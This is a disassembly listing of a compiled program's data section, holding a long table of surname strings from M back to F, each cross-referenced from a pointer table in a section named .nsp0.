aMoeller	db 'Moeller',0          ; DATA XREF: .nsp0:004305CCo
aModestino	db 'Modestino',0        ; DATA XREF: .nsp0:004305C8o
		align 10h
aMocroft	db 'Mocroft',0          ; DATA XREF: .nsp0:004305C4o
aMittal		db 'Mittal',0           ; DATA XREF: .nsp0:004305C0o
		align 10h
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: .nsp0:004305BCo
aGonzalez	db 'Gonzalez',0         ; DATA XREF: .nsp0:004305B8o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: .nsp0:004305B4o
aMini		db 'Mini',0             ; DATA XREF: .nsp0:004305B0o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: .nsp0:004305ACo
		align 4
aMills		db 'Mills',0            ; DATA XREF: .nsp0:004305A8o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: .nsp0:004305A4o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: .nsp0:004305A0o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: .nsp0:0043059Co
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: .nsp0:00430598o
		align 10h
aMetropolis	db 'Metropolis',0       ; DATA XREF: .nsp0:00430594o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: .nsp0:00430590o
aMerz		db 'Merz',0             ; DATA XREF: .nsp0:0043058Co
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: .nsp0:00430588o
aMerminod	db 'Merminod',0         ; DATA XREF: .nsp0:00430584o
		align 10h
aMerlani	db 'Merlani',0          ; DATA XREF: .nsp0:00430580o
aMerikoski	db 'Merikoski',0        ; DATA XREF: .nsp0:0043057Co
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: .nsp0:00430578o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: .nsp0:00430574o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: .nsp0:00430570o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: .nsp0:0043056Co
aMcnealy	db 'Mcnealy',0          ; DATA XREF: .nsp0:00430568o
aMclaren	db 'Mclaren',0          ; DATA XREF: .nsp0:00430564o
aMclane		db 'Mclane',0           ; DATA XREF: .nsp0:00430560o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: .nsp0:0043055Co
aMcintosh	db 'Mcintosh',0         ; DATA XREF: .nsp0:00430558o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: .nsp0:00430554o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: .nsp0:00430550o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: .nsp0:0043054Co
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: .nsp0:00430548o
		align 10h
aMcelroy	db 'Mcelroy',0          ; DATA XREF: .nsp0:00430544o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: .nsp0:00430540o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: .nsp0:0043053Co
		align 10h
aMccall		db 'Mccall',0           ; DATA XREF: .nsp0:00430538o
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: .nsp0:00430534o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: .nsp0:00430530o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: .nsp0:0043052Co
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: .nsp0:00430528o
aMay		db 'May',0              ; DATA XREF: .nsp0:00430524o
aMauzy		db 'Mauzy',0            ; DATA XREF: .nsp0:00430520o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: .nsp0:0043051Co
aMatsukata	db 'Matsukata',0        ; DATA XREF: .nsp0:00430518o
		align 10h
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: .nsp0:00430514o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: .nsp0:00430510o
aMass		db 'Mass',0             ; DATA XREF: .nsp0:0043050Co
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: .nsp0:00430508o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: .nsp0:00430504o
		align 10h
aMartochio	db 'Martochio',0        ; DATA XREF: .nsp0:00430500o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: .nsp0:004304FCo
		align 4
aMarques	db 'Marques',0          ; DATA XREF: .nsp0:004304F8o
aMargetts	db 'Margetts',0         ; DATA XREF: .nsp0:004304F4o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: .nsp0:004304F0o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: .nsp0:004304ECo
		align 10h
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: .nsp0:004304E8o
		align 4
aMarch		db 'March',0            ; DATA XREF: .nsp0:004304E4o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: .nsp0:004304E0o
		align 10h
aManganiello	db 'Manganiello',0      ; DATA XREF: .nsp0:004304DCo
aMandel		db 'Mandel',0           ; DATA XREF: .nsp0:004304D8o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: .nsp0:004304D4o
aMalova		db 'Malova',0           ; DATA XREF: .nsp0:004304D0o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: .nsp0:004304CCo
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: .nsp0:004304C8o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: .nsp0:004304C4o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: .nsp0:004304C0o
		align 10h
aMaier		db 'Maier',0            ; DATA XREF: .nsp0:004304BCo
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: .nsp0:004304B8o
		align 10h
aMaggio		db 'Maggio',0           ; DATA XREF: .nsp0:004304B4o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: .nsp0:004304B0o
aMacy		db 'Macy',0             ; DATA XREF: .nsp0:004304ACo
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: .nsp0:004304A8o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: .nsp0:004304A4o
		align 10h
aMacintyre	db 'Macintyre',0        ; DATA XREF: .nsp0:004304A0o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: .nsp0:0043049Co
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: .nsp0:00430498o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: .nsp0:00430494o
		align 10h
aMa		db 'Ma',0               ; DATA XREF: .nsp0:00430490o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: .nsp0:0043048Co
aLutcavage	db 'Lutcavage',0        ; DATA XREF: .nsp0:00430488o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: .nsp0:00430484o
aLuoma		db 'Luoma',0            ; DATA XREF: .nsp0:00430480o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: .nsp0:0043047Co
aLuecke		db 'Luecke',0           ; DATA XREF: .nsp0:00430478o
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: .nsp0:00430474o
aLuciano	db 'Luciano',0          ; DATA XREF: .nsp0:00430470o
aLucas		db 'Lucas',0            ; DATA XREF: .nsp0:0043046Co
		align 10h
aLubin		db 'Lubin',0            ; DATA XREF: .nsp0:00430468o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: .nsp0:00430464o
		align 10h
aLowenstein	db 'Lowenstein',0       ; DATA XREF: .nsp0:00430460o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: .nsp0:0043045Co
aLoss		db 'Loss',0             ; DATA XREF: .nsp0:00430458o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: .nsp0:00430454o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: .nsp0:00430450o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: .nsp0:0043044Co
aLivolsi	db 'Livolsi',0          ; DATA XREF: .nsp0:00430448o
aLivi		db 'Livi',0             ; DATA XREF: .nsp0:00430444o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: .nsp0:00430440o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: .nsp0:0043043Co
		align 10h
aLittle		db 'Little',0           ; DATA XREF: .nsp0:00430438o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: .nsp0:00430434o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: .nsp0:00430430o
		align 10h
aLinzee		db 'Linzee',0           ; DATA XREF: .nsp0:0043042Co
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: .nsp0:00430428o
aLine		db 'Line',0             ; DATA XREF: .nsp0:00430424o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: .nsp0:00430420o
		align 10h
aLinda_0	db 'Linda',0            ; DATA XREF: .nsp0:0043041Co
		align 4
aLinares	db 'Linares',0          ; DATA XREF: .nsp0:00430418o
aLim		db 'Lim',0              ; DATA XREF: .nsp0:00430414o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: .nsp0:00430410o
		align 10h
aLight_0	db 'Light',0            ; DATA XREF: .nsp0:0043040Co
		align 4
aLiem		db 'Liem',0             ; DATA XREF: .nsp0:00430408o
		align 10h
aLidano		db 'Lidano',0           ; DATA XREF: .nsp0:00430404o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: .nsp0:00430400o
		align 10h
aLessi		db 'Lessi',0            ; DATA XREF: .nsp0:004303FCo
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: .nsp0:004303F8o
		align 10h
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: .nsp0:004303F4o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: .nsp0:004303F0o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: .nsp0:004303ECo
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: .nsp0:004303E8o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: .nsp0:004303E4o
		align 10h
aLecar		db 'Lecar',0            ; DATA XREF: .nsp0:004303E0o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: .nsp0:004303DCo
aLashley	db 'Lashley',0          ; DATA XREF: .nsp0:004303D8o
aLaserna	db 'Laserna',0          ; DATA XREF: .nsp0:004303D4o
aLanzit		db 'Lanzit',0           ; DATA XREF: .nsp0:004303D0o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: .nsp0:004303CCo
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: .nsp0:004303C8o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: .nsp0:004303C4o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: .nsp0:004303C0o
		align 10h
aLaing		db 'Laing',0            ; DATA XREF: .nsp0:004303BCo
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: .nsp0:004303B8o
		align 10h
aLabunka	db 'Labunka',0          ; DATA XREF: .nsp0:004303B4o
aLa		db 'La',0               ; DATA XREF: .nsp0:004303B0o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: .nsp0:004303ACo
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: .nsp0:004303A8o
		align 10h
aKumar		db 'Kumar',0            ; DATA XREF: .nsp0:004303A4o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: .nsp0:004303A0o
aKrysiak	db 'Krysiak',0          ; DATA XREF: .nsp0:0043039Co
aKroemer	db 'Kroemer',0          ; DATA XREF: .nsp0:00430398o
aKraus		db 'Kraus',0            ; DATA XREF: .nsp0:00430394o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: .nsp0:00430390o
aKrailo		db 'Krailo',0           ; DATA XREF: .nsp0:0043038Co
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: .nsp0:00430388o
aKovaks		db 'Kovaks',0           ; DATA XREF: .nsp0:00430384o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: .nsp0:00430380o
		align 10h
aKorzybski	db 'Korzybski',0        ; DATA XREF: .nsp0:0043037Co
		align 4
aKool		db 'Kool',0             ; DATA XREF: .nsp0:00430378o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: .nsp0:00430374o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: .nsp0:00430370o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: .nsp0:0043036Co
		align 10h
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: .nsp0:00430368o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: .nsp0:00430364o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: .nsp0:00430360o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: .nsp0:0043035Co
aKnuff		db 'Knuff',0            ; DATA XREF: .nsp0:00430358o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: .nsp0:00430354o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: .nsp0:00430350o
aKling		db 'Kling',0            ; DATA XREF: .nsp0:0043034Co
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: .nsp0:00430348o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: .nsp0:00430344o
aKleiman	db 'Kleiman',0          ; DATA XREF: .nsp0:00430340o
aKleckner	db 'Kleckner',0         ; DATA XREF: .nsp0:0043033Co
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: .nsp0:00430338o
		align 10h
aKirscht	db 'Kirscht',0          ; DATA XREF: .nsp0:00430334o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: .nsp0:00430330o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: .nsp0:0043032Co
aKindall	db 'Kindall',0          ; DATA XREF: .nsp0:00430328o
aKimura		db 'Kimura',0           ; DATA XREF: .nsp0:00430324o
		align 10h
aKimmett	db 'Kimmett',0          ; DATA XREF: .nsp0:00430320o
aKimmel		db 'Kimmel',0           ; DATA XREF: .nsp0:0043031Co
		align 10h
aKhong		db 'Khong',0            ; DATA XREF: .nsp0:00430318o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: .nsp0:00430314o
		align 10h
aKerry_0	db 'Kerry',0            ; DATA XREF: .nsp0:00430310o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: .nsp0:0043030Co
aKemsley	db 'Kemsley',0          ; DATA XREF: .nsp0:00430308o
aKempton	db 'Kempton',0          ; DATA XREF: .nsp0:00430304o
aKelsey		db 'Kelsey',0           ; DATA XREF: .nsp0:00430300o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: .nsp0:004302FCo
		align 10h
aKeith		db 'Keith',0            ; DATA XREF: .nsp0:004302F8o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: .nsp0:004302F4o
aKeenan		db 'Keenan',0           ; DATA XREF: .nsp0:004302F0o
		align 4
aKee		db 'Kee',0              ; DATA XREF: .nsp0:004302ECo
aKawachi	db 'Kawachi',0          ; DATA XREF: .nsp0:004302E8o
aKasten		db 'Kasten',0           ; DATA XREF: .nsp0:004302E4o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: .nsp0:004302E0o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: .nsp0:004302DCo
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: .nsp0:004302D8o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: .nsp0:004302D4o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: .nsp0:004302D0o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: .nsp0:004302CCo
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: .nsp0:004302C8o
		align 10h
aKaligian	db 'Kaligian',0         ; DATA XREF: .nsp0:004302C4o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: .nsp0:004302C0o
aKafadar	db 'Kafadar',0          ; DATA XREF: .nsp0:004302BCo
aKaboolian	db 'Kaboolian',0        ; DATA XREF: .nsp0:004302B8o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: .nsp0:004302B4o
aJulious	db 'Julious',0          ; DATA XREF: .nsp0:004302B0o
aJuliano	db 'Juliano',0          ; DATA XREF: .nsp0:004302ACo
aJucks		db 'Jucks',0            ; DATA XREF: .nsp0:004302A8o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: .nsp0:004302A4o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: .nsp0:004302A0o
		align 10h
aJohns		db 'Johns',0            ; DATA XREF: .nsp0:0043029Co
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: .nsp0:00430298o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: .nsp0:00430294o
aJewett		db 'Jewett',0           ; DATA XREF: .nsp0:00430290o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: .nsp0:0043028Co
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: .nsp0:00430288o
aJellis		db 'Jellis',0           ; DATA XREF: .nsp0:00430284o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: .nsp0:00430280o
aJay		db 'Jay',0              ; DATA XREF: .nsp0:0043027Co
aJarrell	db 'Jarrell',0          ; DATA XREF: .nsp0:00430278o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: .nsp0:00430274o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: .nsp0:00430270o
		align 10h
aJamil		db 'Jamil',0            ; DATA XREF: .nsp0:0043026Co
		align 4
aJain		db 'Jain',0             ; DATA XREF: .nsp0:00430268o
		align 10h
aJagoe		db 'Jagoe',0            ; DATA XREF: .nsp0:00430264o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: .nsp0:00430260o
		align 10h
aJagers		db 'Jagers',0           ; DATA XREF: .nsp0:0043025Co
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: .nsp0:00430258o
aJacenko	db 'Jacenko',0          ; DATA XREF: .nsp0:00430254o
aIyer		db 'Iyer',0             ; DATA XREF: .nsp0:00430250o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: .nsp0:0043024Co
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: .nsp0:00430248o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: .nsp0:00430244o
		align 10h
aIsaac		db 'Isaac',0            ; DATA XREF: .nsp0:00430240o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: .nsp0:0043023Co
		align 10h
aInamura	db 'Inamura',0          ; DATA XREF: .nsp0:00430238o
aIgarashi	db 'Igarashi',0         ; DATA XREF: .nsp0:00430234o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: .nsp0:00430230o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: .nsp0:0043022Co
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: .nsp0:00430228o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: .nsp0:00430224o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: .nsp0:00430220o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: .nsp0:0043021Co
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: .nsp0:00430218o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: .nsp0:00430214o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: .nsp0:00430210o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: .nsp0:0043020Co
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: .nsp0:00430208o
aHoward		db 'Howard',0           ; DATA XREF: .nsp0:00430204o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: .nsp0:00430200o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: .nsp0:004301FCo
aHoshida	db 'Hoshida',0          ; DATA XREF: .nsp0:004301F8o
aHorsley	db 'Horsley',0          ; DATA XREF: .nsp0:004301F4o
aHopkins	db 'Hopkins',0          ; DATA XREF: .nsp0:004301F0o
aHooker_0	db 'Hooker',0           ; DATA XREF: .nsp0:004301ECo
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: .nsp0:004301E8o
aHolway		db 'Holway',0           ; DATA XREF: .nsp0:004301E4o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: .nsp0:004301E0o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: .nsp0:004301DCo
aHolmes		db 'Holmes',0           ; DATA XREF: .nsp0:004301D8o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: .nsp0:004301D4o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: .nsp0:004301D0o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: .nsp0:004301CCo
aHoffer		db 'Hoffer',0           ; DATA XREF: .nsp0:004301C8o
		align 4
aHock		db 'Hock',0             ; DATA XREF: .nsp0:004301C4o
		align 10h
aHoang		db 'Hoang',0            ; DATA XREF: .nsp0:004301C0o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: .nsp0:004301BCo
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: .nsp0:004301B8o
		align 4
aHind		db 'Hind',0             ; DATA XREF: .nsp0:004301B4o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: .nsp0:004301B0o
		align 10h
aHeyeck		db 'Heyeck',0           ; DATA XREF: .nsp0:004301ACo
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: .nsp0:004301A8o
aHester		db 'Hester',0           ; DATA XREF: .nsp0:004301A4o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: .nsp0:004301A0o
aHernandez	db 'Hernandez',0        ; DATA XREF: .nsp0:0043019Co
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: .nsp0:00430198o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: .nsp0:00430194o
		align 10h
aHemphill	db 'Hemphill',0         ; DATA XREF: .nsp0:00430190o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: .nsp0:0043018Co
aHellmiss	db 'Hellmiss',0         ; DATA XREF: .nsp0:00430188o
		align 10h
aHellman	db 'Hellman',0          ; DATA XREF: .nsp0:00430184o
aHeiland	db 'Heiland',0          ; DATA XREF: .nsp0:00430180o
aHeft		db 'Heft',0             ; DATA XREF: .nsp0:0043017Co
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: .nsp0:00430178o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: .nsp0:00430174o
		align 10h
aHaynes		db 'Haynes',0           ; DATA XREF: .nsp0:00430170o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: .nsp0:0043016Co
		align 10h
aHawkes		db 'Hawkes',0           ; DATA XREF: .nsp0:00430168o
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: .nsp0:00430164o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: .nsp0:00430160o
aHartnett	db 'Hartnett',0         ; DATA XREF: .nsp0:0043015Co
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: .nsp0:00430158o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: .nsp0:00430154o
aHarrigan	db 'Harrigan',0         ; DATA XREF: .nsp0:00430150o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: .nsp0:0043014Co
		align 10h
aHargraves	db 'Hargraves',0        ; DATA XREF: .nsp0:00430148o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: .nsp0:00430144o
aHanssen	db 'Hanssen',0          ; DATA XREF: .nsp0:00430140o
aHand		db 'Hand',0             ; DATA XREF: .nsp0:0043013Co
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: .nsp0:00430138o
		align 10h
aHamer		db 'Hamer',0            ; DATA XREF: .nsp0:00430134o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: .nsp0:00430130o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: .nsp0:0043012Co
aHallowell	db 'Hallowell',0        ; DATA XREF: .nsp0:00430128o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: .nsp0:00430124o
aHaley		db 'Haley',0            ; DATA XREF: .nsp0:00430120o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: .nsp0:0043011Co
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: .nsp0:00430118o
aHaar		db 'Haar',0             ; DATA XREF: .nsp0:00430114o
		align 4
aHa		db 'Ha',0               ; DATA XREF: .nsp0:00430110o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: .nsp0:0043010Co
aGunn		db 'Gunn',0             ; DATA XREF: .nsp0:00430108o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: .nsp0:00430104o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: .nsp0:00430100o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: .nsp0:004300FCo
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: .nsp0:004300F8o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: .nsp0:004300F4o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: .nsp0:004300F0o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: .nsp0:004300ECo
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: .nsp0:004300E8o
		align 10h
aGravell	db 'Gravell',0          ; DATA XREF: .nsp0:004300E4o
aGozzi		db 'Gozzi',0            ; DATA XREF: .nsp0:004300E0o
		align 10h
aGoody		db 'Goody',0            ; DATA XREF: .nsp0:004300DCo
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: .nsp0:004300D8o
		align 4
aGood_0		db 'Good',0             ; DATA XREF: .nsp0:004300D4o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: .nsp0:004300D0o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: .nsp0:004300CCo
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: .nsp0:004300C8o
aGlegg		db 'Glegg',0            ; DATA XREF: .nsp0:004300C4o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: .nsp0:004300C0o
aGist		db 'Gist',0             ; DATA XREF: .nsp0:004300BCo
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: .nsp0:004300B8o
		align 10h
aGill		db 'Gill',0             ; DATA XREF: .nsp0:004300B4o
		align 4
aGili		db 'Gili',0             ; DATA XREF: .nsp0:004300B0o
		align 10h
aGilbert	db 'Gilbert',0          ; DATA XREF: .nsp0:004300ACo
aGibson_0	db 'Gibson',0           ; DATA XREF: .nsp0:004300A8o
		align 10h
aGibbens	db 'Gibbens',0          ; DATA XREF: .nsp0:004300A4o
aGhorai		db 'Ghorai',0           ; DATA XREF: .nsp0:004300A0o
		align 10h
aGerrett	db 'Gerrett',0          ; DATA XREF: .nsp0:0043009Co
aGeorgi		db 'Georgi',0           ; DATA XREF: .nsp0:00430098o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: .nsp0:00430094o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: .nsp0:00430090o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: .nsp0:0043008Co
aGarman		db 'Garman',0           ; DATA XREF: .nsp0:00430088o
		align 4
aGarfield_0	db 'Garfield',0         ; DATA XREF: .nsp0:00430084o
		align 10h
aGambini	db 'Gambini',0          ; DATA XREF: .nsp0:00430080o
aGalwey		db 'Galwey',0           ; DATA XREF: .nsp0:0043007Co
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: .nsp0:00430078o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: .nsp0:00430074o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: .nsp0:00430070o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: .nsp0:0043006Co
		align 4
aFurth		db 'Furth',0            ; DATA XREF: .nsp0:00430068o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: .nsp0:00430064o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: .nsp0:00430060o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: .nsp0:0043005Co
		align 10h
aFryberger	db 'Fryberger',0        ; DATA XREF: .nsp0:00430058o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: .nsp0:00430054o
aFrisken	db 'Frisken',0          ; DATA XREF: .nsp0:00430050o
aFriedland	db 'Friedland',0        ; DATA XREF: .nsp0:0043004Co
		align 4
aFried		db 'Fried',0            ; DATA XREF: .nsp0:00430048o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: .nsp0:00430044o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: .nsp0:00430040o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: .nsp0:0043003Co
		align 4
aFranz		db 'Franz',0            ; DATA XREF: .nsp0:00430038o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: .nsp0:00430034o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: .nsp0:00430030o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: .nsp0:0043002Co
		align 10h
aFossey		db 'Fossey',0           ; DATA XREF: .nsp0:00430028o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: .nsp0:00430024o
aFortes		db 'Fortes',0           ; DATA XREF: .nsp0:00430020o
		align 4
aForester	db 'Forester',0         ; DATA XREF: .nsp0:0043001Co
		align 4
aFolks		db 'Folks',0            ; DATA XREF: .nsp0:00430018o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: .nsp0:00430014o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: .nsp0:00430010o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: .nsp0:0043000Co
